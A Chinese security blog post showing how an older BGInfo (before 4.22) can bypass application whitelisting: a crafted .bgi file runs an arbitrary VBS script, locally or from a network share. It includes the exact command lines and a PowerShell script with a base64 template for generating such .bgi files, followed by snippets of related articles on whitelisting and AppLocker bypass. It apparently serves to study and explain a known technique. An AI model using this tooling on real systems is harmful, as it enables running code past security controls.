如何利用BGInfo绕过应用程序白名单?

本文讲的是如何利用BGInfo绕过应用程序白名单?


0x00 前言

最近看到一篇有趣的文章《Bypassing Application Whitelisting with BGInfo》,介绍了如何通过BGInfo实现白名单绕过,我对此很感兴趣,于是对这部分内容做了学习整理,同时开源了一个powershell脚本,用于自动生成.bgi文件

0x01 简介

本文将要介绍如下内容:

Bginfo简介

通过Bginfo绕过白名单的实际操作

如何使用powershell编辑二进制文件

如何开发powershell脚本自动生成.bgi文件

0x02 Bginfo

Bginfo—强大的Windows系统信息显示工具,出自Sysinternals套件

下载地址:

https://technet.microsoft.com/en-us/sysinternals/bb897557.aspx

注:

bginfo.exe最新版本为4.22,本文测试版本为4.21

1、简介

可以自动在桌面的一个区域中显示当前Windows环境信息

面板如图

设置后,桌面显示Windows环境信息,如图

编辑要显示的信息,可将其保存为config.bgi,使用时将其导入就好

2、Bginfo命令行模式

/h 弹出帮助

如图

通过命令行设置桌面显示信息的命令如下:

bginfo.exe config.bgi /timer:0 /nolicprompt /silent

3、扩展:

点击Custom可自定义桌面显示内容,如图

选择New

设置数据源,包括环境变量、注册表键值、WMI、文件、VB Script脚本

4、导入WMI查询:

添加一个WMI查询,如图

在面部添加显示内容,修改桌面,成功显示新内容,如图

5、导入VBS:

添加一个vbs查询,vbs脚本可参考:

https://gist.githubusercontent.com/api0cradle/efc90f8318556f0737791b6d73a4ec8b/raw/9a46f4cdacb5752e721e1e3701308939351b4768/gistfile1.txt

该vbs脚本实现:

启动cmd.exe

在桌面输出:”Does not matter what this says”

导入该vbs脚本后,点击Apply,成功弹出cmd.exe,并在桌面输出Does not matter what this says

如图

整个启动过程还可在cmd下实现

(1) 将上述bgi工程保存为vbs.bgi

(2) cmd:

bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent

6、bginfo.exe和vbs.bgi可以放在远程服务器,通过网络共享访问执行

cmd:
WIN-FVJLPTISCFEtestbginfo.exe WIN-FVJLPTISCFEtesttest1.bgi /timer:0 /nolicprompt /silent

完整操作如图

0x03 通过Bginfo绕过白名单

完整过程如下:

1、启动bginfo.exe,添加导入vbs脚本功能,设置vbs脚本路径,去掉桌面显示内容

2、将bgi工程保存为.bgi文件

3、命令行执行代码:

bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent

注:

bginfo.exe的版本需要低于4.22,版本4.22已经修复上述问题

整个绕过过程很简单,但是步骤1和步骤2比较麻烦,通过UltraEdit查看vbs.bgi,内容如图

看起来遵循一定的格式,那么能否通过powershell脚本实现自动生成.bgi文件呢?

0x04 bgi文件格式

通过文件比较来猜测bgi文件格式

使用16进制文件比较工具:Beyond Compare

分别设置不同的vbs路径,对比差别,如图

不难发现,差异只存在于0x00000301和0x00000306开始的vbs路径

0x00000000-0x0x00000300为固定格式

字符串C:test1.vbs的长度为13,0x00000301标志位数值为0x0F,10进制为15

字符串C:testcmd.vbs的长度为15,0x00000301标志位数值为0x11,10进制为17

大胆猜测:

0x00000301的标志位表示内容为:vbs路径长度+2,并转换成16进制保存

注:

vbs路径C:test1.vbs中的磁盘目录C需要大写,否则提示文件格式错误

0x05 如何使用powershell编辑二进制文件

使用powershell读写文件,最常用的方式为:

读文件: Get-content 
写文件: Set-content

然而,对于不是txt的文件,如果存在特殊字符,通过以上方法会出现bug,自动过滤特殊字符串,导致长度不同,内容出错

读写二进制文件方法:

读二进制文件:

[System.IO.File]::ReadAllBytes('1.txt')

写二进制文件:

[System.IO.File]::WriteAllBytes("1.txt",$fileContentBytes)

修改二进制文件:

使用system.io.filestream

代码如下:

$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte(0x00)$fs.flush()$fs.close()

参数说明:

$fs=new-object io.filestream “test1.bgi”,open:

open表示追加,createnew表示新建

$fs.seek(0,2):

第一个参数表示偏移

第二个参数:0表示以文件开头作为起点,1表示以当前位置作为起点,2表示以文件末尾作为起点

0x06 编写powershell脚本实现自动生成.bgi文件

开发思路:

读取0x00000000-0x0x00000300内容,作base64编码并保存在变量$fileContent中

对变量$fileContent作base64解码,写入新文件test1.bgi

使用追加方式向文件依次写入标志位,vbs路径和其他填充位

流程如下:

写入0x00000000-0x0x00000300内容
计算标志位
以二进制方式写入标志位
使用Out-File向文件追加写入vbs路径,但是会存在冗余数据0D0A
偏移-2,以二进制方式填充其他位置,覆盖冗余数据0D0A

关键代码如下:

将0x00000000-0x0x00000300内容保存为1.bgi

powershell代码:

$fileContent = [System.IO.File]::ReadAllBytes('1.bgi')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt") 

生成buffer.txt,内容如下:

CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA==

将其保存在变量$fileContent中,解密并写入文件test1.bgi

$fileContent = "CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA=="$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes("test1.bgi",$fileContentBytes)

标志位计算:

$VbsPath="C:test1.vbs"
$Length=$VbsPath.Length+2

写入长度标志位+空闲填充位

$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte($Length)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x34)$fs.flush()$fs.close()

追加写入vbs脚本路径:

$VbsPath | Out-File -Encoding ascii -Append test1.bgi

存在冗余数据0D0A,所以偏移应该为-2,写入空闲填充位:

$fs=new-object io.filestream "test1.bgi",open$fs.seek(-2,2)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x01)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.flush()$fs.close()

完整操作如图

0x07 小结

本文介绍了通过BGInfo实现白名单绕过的方法,同时介绍了通过powershell编辑二进制文件的方法,开源了一个powershell生成.bgi文件的脚本,希望能够帮助大家

原文发布时间为:2017年5月26日

本文作者:3gstudent

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-12-31 12:15:05

如何利用BGInfo绕过应用程序白名单?的相关文章

centOS7 下利用iptables配置IP地址白名单的方法_Linux

编辑iptables配置文件,将文件内容更改为如下,则具备了ip地址白名单功能 #vim /etc/sysconfig/iptables *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -N whitelist -A whitelist -s 1.2.3.0/24 -j ACCEPT -A whitelist -s 4.5.6.7 -j ACCEPT -A INPUT -m state --state

如何绕过应用白名单和受限的 PowerShell?

本文讲的是如何绕过应用白名单和受限的 PowerShell?, 最近几年,关于如何绕过应用程序白名单的研究非常火热,Casey Smith(@subtee)和Matt Graeber(@mattifestation)都有过这方面的研究,他们最新研究成果就是"应用程序白名单必须被锁定,以避免受信任的应用程序被攻击者实施代码注入",不过他们的研究成果只是在Windows 7和8.1中可行,但在Windows 10的运行环境中这种办法却不可行,在Windows 10中激活Powershell

Windows现漏洞 可绕过AppLocker白名单实施攻击

安全研究人员发现,通过使用Windows命令行使用程序(可追溯到Windows XP),基于Windows AppLocker的应用白名单保护可以被绕过.当结合托管在远程主机上的脚本时,这个漏洞可允许攻击者运行不在Windows AppLocker白名单中的软件. 根据微软表示,这个使用程序Regsvr32主要用于"注册和注销OLE(对象链接和嵌入)空间,例如(动态链接库)以及Windows注册表中的ActiveX控制."但研究人员Casey Smith报道称,该命令可指向一个URL,

如何设置瑞星白名单让信任程序运行更快

  1.启动瑞星后,点击"设置"选项,在弹出的菜单页面中点击"详细设置"进入到瑞星设置中心界面中. 2.此时点击瑞星设置中心中的"防御设置",并切换到其中的"自定义白名单"选项中. 3.点击"添加"按钮,通过弹出的资源管理器窗口将确定为安全的可执行文件列入其中,成功列入白名单中的程序内容.

利用CentOS系统IPtables防火墙添加360网站卫士节点IP白名单

伴随着百度与加速乐合作的分离,百度也相继推出了自己的加速产品:百度云加速,不过,对于广大的站长们来说,百度云加速免费版本提供的节点太少了,而且在流量.DDoS防御上面做了一定的限制,以下为百度云加速名个套餐价格的对比: 相信,看了以上的数据,免费的百度云加速感觉有一些像鸡肋,相比之下,360网站卫士在这方面可能做得更好一些,360网站卫士是集网站防护.加速.运营为一体的一站式http://www.aliyun.com/zixun/aggregation/13744.html">管理服务平台

apache配置黑名单和白名单及账户权限控制

apache配置黑名单和白名单的两个方法 为项目需要,部署之后客户需要实现白名单功能.以前一般使用iis服务器或者是网上的DZ或CP面板,而且也仅仅操作过黑名单.百度搜索,基本都是黑名单的操作方法,本文章主要是讲使用apache来规则实现黑白名单,从程序角度实现的就不在陈述,PHP程序可以直接获取客户端IP在初始化class或者login方法实现禁止或仅允许区段IP通过访问. 方法1:通过apache的虚拟主机配置文件httpd.conf来控制,本方法适用于自己架设的服务器,一般虚拟主机是不能接

猎豹清理大师怎么添加白名单

  进入猎豹清理大师,选择[手机加速] 方法一 1.在[正在运行的程序]下长按某个程序 2.在弹出选项里选择[加入白名单] 3.系统提示加入成功 方法二 1.选择右上角的[菜单] 2.在下拉框里选择[进程白名单] 3.点击右上角的[+] 4.选择需要添加至白名单的程序 5.系统提示添加成功

DevOps实践 - 白名单二三事

为何加白名单是一件痛苦的事? 白名单的需求,即我们的部分应用,出于数据的敏感性与安全性,需要让指定的外包公司能访问,但其他外网用户不能访问的一种需求. 需求已明确,再看下我们之前的架构是否是天然支持这种需求. 一个域名接入阿里环境的应用,无非走VIP或者是统一接入层. VIP: 内网给机器间调用,办公网给办公环境访问,互联网给所有外部用户访问,跨域给7网分离的网络间调用,可以看到VIP并不天然支持外包公司的精细接入需求. 统一接入层: 最早统一接入层只有主站集群,给所有外部用户访问,只是随着架构

使用统一阻止列表和白名单来更新主机文件

网上有许多持续维护的含有不同垃圾域的有用列表.将这些列表复制到你的主机文件中可以轻松阻止大量的域,你的系统将根本不用去连接它们.此方法可以在不安装浏览器插件的情况下工作,并且将为系统上任何浏览器(和任何其他程序)提供阻止操作. 在本教程中,我将向你展示如何在 Linux 中启动并运行 Steven Black 的统一主机脚本.该脚本将使用来自多个来源的最新已知的广告服务器.网络钓鱼网站和其他网络垃圾的地址来更新你的计算机主机文件,同时提供一个漂亮.干净的方式来管理你自己的黑名单/白名单,其分别来